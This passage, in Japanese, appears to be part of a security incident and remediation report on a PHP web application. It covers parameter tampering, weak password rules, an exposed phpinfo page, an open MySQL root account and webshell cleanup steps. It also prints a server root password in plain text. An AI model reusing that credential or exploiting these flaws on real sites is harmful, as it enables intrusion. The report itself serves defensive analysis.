原因  メッセージの宛先の情報を<form>タグ内の<option>タグで管理しており、HTTPリクエスト

のto_idに不正な値をセットすることによってフレンド以外のユーザーに対してメッセージ

の送信が可能。

sendmessage.php

54 $lst = $user->getFriends ();

55 foreach ( $lst as $tmp ) {

56 print ' <option value="' . h ( $tmp->id ) . '">' . h ( $tmp->name ) .

'</option>';

57 }

sendmessage.phpの宛先情報指定部

改善点 メッセージの送信直前(同一画面遷移中)に以下の確認を行う。

if($user->isFriend($_POST ["to_id"])){ メッセージの送信処理 }

61

register.phpにおいて不正な情報の登録が可能

事象 入力情報のチェック後、HTTPリクエストのパラメーター改ざんにより、name,genderの値

を自由に設定可能である。

改ざん後、index.phpにアクセスした時の表示例

原因  入力情報確認画面の前に入力情報のチェックを行なっている。   登録時の画面遷移   1:登録情報入力   2:フォーマットチェック・登録情報の確認   3:DB登録 上記 2~3 の間において、登録情報の改ざんが可能である。 また、hash生成に[ name,gender ]を用いていないため改ざん検知ができない。

register.php

120 $hash = md5 ( $key . ':' . $_POST ["loginid"] . ":" . $_POST ["password"] . ":" .

$_POST ["birthday"] );

register.phpの改ざんチェック用のハッシュ生成部

改善点 ・入力値チェックをDB登録の直前 (同一画面遷移中)に行う。 ・register.php 57行目及び120行目を以下に変更する。

$hash = md5 ( $key . ':' . $_POST ["loginid"] . ":" . $_POST ["password"] . ":" . $_POST

["birthday"] . ":" . $_POST ["name"] . ":" . $_POST ["gender"]);

62

サインアップの登録情報についての問題

事象 ・ログインIDについて

ログインIDや 長大な文字列をログインIDや名前として登録することで、webサイトの表示が崩れる

場合がある。 以下は参考画像

また、既存のユーザーとログインIDの重複時、ログイン処理が正常に行えない。 ログイン処理のSQLの関係で既存のユーザ(idが小さい)しかログインできず、新規

作成したユーザ(idが大きい)はログイン不能となる。

・パスワードについて ブルートフォースアタックや辞書攻撃が容易に可能である。

原因  ・ログインIDについて

英数字3文字以上とあるが、最大桁数が指定されていない。 また、ログインIDの重複チェックを行なっていない。

register.php

63

// loginidは英数字3文字以上

if (! preg_match ( "/^[0-9a-zA-Z]{3,}$/", $_POST ["loginid"] )) {

$errors [] = "loginidは英数字3文字以上で入力してください。";

}

ログインIDのフォーマットチェック部 ・パスワードについて

桁数1文字からの登録が可能で、記号や大文字・小文字の使用を強制していない為、

ユーザが脆弱なパスワードを設定する可能性が高まる。また、連続でログインを試

みる事ができ、ブルートフォースアタックや辞書攻撃に対して脆弱である。

register.php

// パスワードが空の場合はエラー

if (! isset ( $_POST ["password"] ) || ! isset ( $_POST ["password2"] )) {

$errors [] = "パスワードが入力されていません。";

}

パスワードのフォーマットチェック部

改善点 ・ログインIDについて

最大文字数を15~20字程度に制限し、フォーマットチェックにログインIDの重複が

存在しないことの確認を追加する。 ・パスワードについて

パスワードポリシーを設定する。具体的には最低桁数を8字に設定し、大文字、小文

字、記号を含めた文字列とすることを強制、ユーザID・ログインID・誕生日に含ま

れる文字列・数列を含まないように強制する。等 また、他のサービスなどと同一のパスワードを利用するのは好ましくない旨を登録

画面で表示すると良い。 (最低桁数が8文字というのはIPAの提言を参考にした。 IPA プレス発表 「オンライン本人認証方式の実態調査」報告書を公開 : https://www.ipa.go.jp/about/press/20140805.html )

64

サーバのrootユーザのパスワード強度が低い

事象 rootユーザのパスワードが「P3HE9U66」であり、パスワード強度が低く、ブルートフォー

スアタックに弱い。

原因  推測が難しいランダムな文字の羅列であるものの、大文字と数字しか使っていない点。

改善点 パスワードに現状の英字(大文字)・数字に加えて、英字(小文字)・記号を使用すること

が望ましい。 passwd root を実行しrootユーザのパスワードを変更する。 【例】 ある程度脆弱なパスワードを設定しようとすると警告文が表示される。 今回は「’yamada’」と設定しようとしている。辞書攻撃に弱いということ、とてもシンプル

なパスワードだと警告されている。

ある程度強力なパスワードを設定した場合、このように何も警告されない。 今回は大文字と小文字、数字と記号を使用した。

65

7.被害を発生・拡大させた要因7.被害を発生・拡大させた要因

phpinfo();関数があるPHPファイルを見ることができた。 設定オプションの一覧やバージョン、mysqlなどの情報を見ることができるのでWebサーバ

の構成が漏れてしまう。 運用サーバに置くべきではない削除するべき。どうしても置かなくてはならない場合はIPアドレスを制限するか、apacheの管理外フォルダに設置する。またはコマンドで実行する。

MySQLのroot設定が脆弱 ①① MySQLサーバ内のサーバ内のrootユーザに対してパスワードが設定されていないユーザに対してパスワードが設定されていない ②② mysqlデータベースのデータベースのuserテーブル内で、テーブル内で、root@%のレコードが存在するのレコードが存在する

MySQLサーバ内のユーザ一覧 rootユーザのPasswordは全て設定されていないことがわかる。 加えて、ホストに「%」が指定された場合、任意の送信元からの接続を可能にしてしまうた

め、192.168.11.100からのログインが成功したと考えられる。 対策としてはまず、rootユーザに対して強固なパスワードを設定すること。 そして、 delete from mysql.user where Host = ’%’; を実行し、root@%を削除することで、ローカル環境からのログインのみを許可する。

66

8.8.サービスの再開に向けての必須項目サービスの再開に向けての必須項目

webmix3についてについて ● tmp/.5a566099006d3b60892fb091dac8d1bfwebshell.phpの消去 ● tmp/.zの消去 ● tmp/配下の不正にアップロードされたファイルの消去 ● phpinfo.phpの消去 ● login.phpの改ざん箇所の消去 ● index.htmlの消去 ● バックアップからindex.phpの復旧 ● 脆弱性(sendmessage.phpにおいて不正なファイルをアップロード出来てしまう)への対処 ● 脆弱性(writedirary.phpにおけるSQLインジェクション)への対処 ● 脆弱性(readdiary.phpにおいてXSSが可能)への対処

※脆弱性の詳細と対処方法については、[ 脆弱性について ] の各項目を参照

webサーバの設定についてサーバの設定について ● mysqlのパスワードの再設定

○ update mysql.user set password=password('Password') where user='root'; ○ flush privileges;

● ファイアウォールの設定変更 ○ service iptables start ○ chkconfig iptables on ○ 3306/tcpについてはデータベースサーバとWebサーバが分離していないので開け

る必要はなし。 ● /tmp/.aファイルを削除

○ rm -rf /tmp/.a

67

top related